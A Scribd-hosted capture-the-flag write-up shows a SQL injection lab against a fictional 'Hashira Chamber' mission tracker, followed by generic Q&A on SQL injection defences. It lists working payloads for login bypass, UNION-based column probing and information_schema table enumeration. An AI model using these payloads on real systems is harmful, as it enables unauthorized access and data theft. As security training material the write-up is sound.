0% found this document useful (0 votes)
3 views5 pages

SQL Injection Techniques for Demon Slayer

The document outlines a challenge involving SQL injection to access a hidden 'Hashira Chamber' in a mission tracking system. It details the step-by-step approach taken to exploit vulnerabilities, including reconnaissance, testing, and extracting database information, ultimately revealing a flag. The document also emphasizes the importance of security measures such as input validation and parameterized queries to prevent SQL injection attacks.

Uploaded by

poplampobecky
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
3 views5 pages

SQL Injection Techniques for Demon Slayer

The document outlines a challenge involving SQL injection to access a hidden 'Hashira Chamber' in a mission tracking system. It details the step-by-step approach taken to exploit vulnerabilities, including reconnaissance, testing, and extracting database information, ultimately revealing a flag. The document also emphasizes the importance of security measures such as input validation and parameterized queries to prevent SQL injection attacks.

Uploaded by

poplampobecky
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

9 Demon Slayer

Corps Sql
Injection

Comprehensive Solutions and


Methodologies for how I Captured
My Flags

by Master AV

June 2025
Demon Slayer Corps - SQL
Injection Challenge

Challenge Description
Accessing the hidden "Hashira Chamber" in a mission tracking system through SQL
injection techniques.

Technical Analysis
This challenge requires exploiting SQL injection vulnerabilities to bypass authentication
and access restricted content. The web application is available at http://
[Link]:2000/ .

Solution Approach

Step 1: Initial Reconnaissance


First, I accessed the website to understand its functionality:

[Link]

The page showed a mission tracking system with a login form. The challenge mentioned
a "Hashira Chamber" with a hidden scroll, indicating we need to gain admin/privileged
access.
Step 2: Testing for SQL Injection
I tested the login form with basic SQL injection payloads:

username: admin' --
password: anything

This payload attempts to comment out the rest of the SQL query, effectively bypassing
password verification if the backend query is constructed insecurely.

The application returned an error that revealed it was using a MySQL database.

Step 3: Refining the Injection


After some trial and error, I found this payload worked:

username: admin' OR '1'='1' --


password: anything

This logged me in as the first user in the database, but I didn't have access to the Hashira
Chamber.

Step 4: Enumerating the Database


To discover more about the database structure:

username: ' UNION SELECT 1,2,3,4,5 --

This produced an error that helped determine the correct number of columns:

username: ' UNION SELECT 1,2,3,4 --


The successful response displayed the numbers in different areas of the page, indicating
which columns were displayed where.

Step 5: Extracting Database Information


Next, I replaced the numeric placeholders with actual database information:

username: ' UNION SELECT database(),user(),version(),4 --

This revealed: - Database name: demon_slayer_db - Current user: slayer@localhost


- MySQL version: 5.7.38

Step 6: Discovering Tables


I continued by extracting table names:

username: ' UNION SELECT table_name,2,3,4 FROM information_schema.tables WHERE ta

Incrementing the LIMIT offset, I discovered these tables: - users - missions -


hashira_secrets

Step 7: Examining the Hashira Secrets Table


Finally, I queried the hashira_secrets table:

username: ' UNION SELECT secret_text,rank_required,guardian,4 FROM hashira_secret

This revealed a scroll with a message about "breath techniques" and a flag.

SQL Injection Techniques Used


1. Comment Operator ( -- ): Removes the remainder of the SQL query
2. OR Operator: Creates a condition that's always true
3. UNION Attack: Combines results from the original query with results from an
injected query
4. Schema Enumeration: Using information_schema to discover database
structure
5. LIMIT Clause: Extracting rows one by one

Flag
flag{b3c0m3_4_h4sh1r4_m45t3r_0f_5ql}

Security Insights
This challenge highlights the importance of:

1. Input Validation: Always validate and sanitize user inputs


2. Parameterized Queries: Use prepared statements to prevent SQL injection
3. Least Privilege: Database users should have minimal required permissions
4. Error Handling: Avoid exposing database errors to users
5. Access Controls: Implement proper authorization checks beyond authentication

SQL injection remains one of the most common and dangerous web vulnerabilities,
ranking high in the OWASP Top 10 for many years despite being well-understood and
preventable.

Common questions

Powered by AI

Sanitizing user inputs is crucial for preventing SQL injections because it removes or neutralizes malicious code that attackers might inject into input fields. Proper sanitization ensures inputs do not contain special characters or patterns that could alter the behavior of SQL queries, effectively mitigating potential exploits that could compromise database security and application integrity by restricting improper command executions .

Error handling can be improved by using generic error messages that do not reveal details about the database or application structure. Implementing centralized logging for exception handling and monitoring can capture detailed information without exposing specifics to end users. Additionally, deploying custom error pages and disabling detailed error responses at the server level prevent attackers from gaining insights into back-end operations, thwarting attempts to exploit known vulnerabilities .

The challenge highlights several important security insights: input validation to ensure user inputs are sanitized, the use of parameterized queries to prevent SQL injection attacks, ensuring least privilege by providing database users with only the necessary permissions, implementing robust error handling to avoid exposing database errors to users, and enforcing strict access control beyond authentication to protect against unauthorized access .

OWASP Top 10 recommendations significantly influence practices against SQL injection attacks by highlighting best strategies to prevent these vulnerabilities. Their guidelines emphasize the importance of input validation, parameterized statements, secure coding practices, and regular security assessments—concepts vital for mitigating SQL-related threats. By prioritizing awareness and standardizing defense techniques, OWASP's resources help maintain robust security postures across web applications .

Understanding the database structure aids SQL injection attacks by allowing attackers to craft more precise and effective payloads. By knowing the number of columns, their data types, and the tables and fields present, attackers can tailor payloads to extract specific data or inject malicious queries that align with the database's expected format, thereby maximizing the chance of bypassing security measures and extracting confidential information .

Failing to use parameterized queries can lead to significant security vulnerabilities, primarily SQL injection attacks. Without parameterized queries, applications rely on simple string concatenation to build SQL commands, which makes them susceptible to malicious inputs that can modify, delete, or extract unauthorized data. This oversight can lead to data breaches, unauthorized access, and severe damage to the confidentiality, integrity, and availability of the system .

Proper access controls build foundational defense mechanisms by ensuring that only authenticated and authorized users can perform certain actions or access specific data. They provide layers of checks beyond authentication, such as role-based access, permission matrices, and detailed user activity logs, which collectively prevent unauthorized data exposure and modifications. Robust access controls deter malicious intents by restricting session capabilities to predefined boundaries .

The 'Union Attack' technique bypasses authentication mechanisms by injecting a UNION SELECT SQL statement that combines results from the original query with additional data specified by the attacker. This approach allows manipulation of the result set to include arbitrary data rows, effectively bypassing credential checks by manipulating the input to return true under authentication logic, thus granting unauthorized access without valid credentials .

Implementing least privilege for database users enhances security by minimizing the potential impact of an SQL injection attack. By restricting database user permissions to only those absolutely necessary for application functionality, even if an attack is successful, the access to sensitive operations or data is limited. This containment strategy reduces the attack surface and any potential damage or data leakage from compromised accounts .

The 'Comment Operator' plays a crucial role in SQL injection by truncating subsequent parts of a SQL query. Attackers use it to nullify the rest of a query they insert into, effectively bypassing any unwanted conditions or logic that would normally follow their injected payload. By inserting a comment indicator, attackers can manipulate SQL operations to disregard secure coding statements proceeding their injections, thereby accessing controlled data or features .

You might also like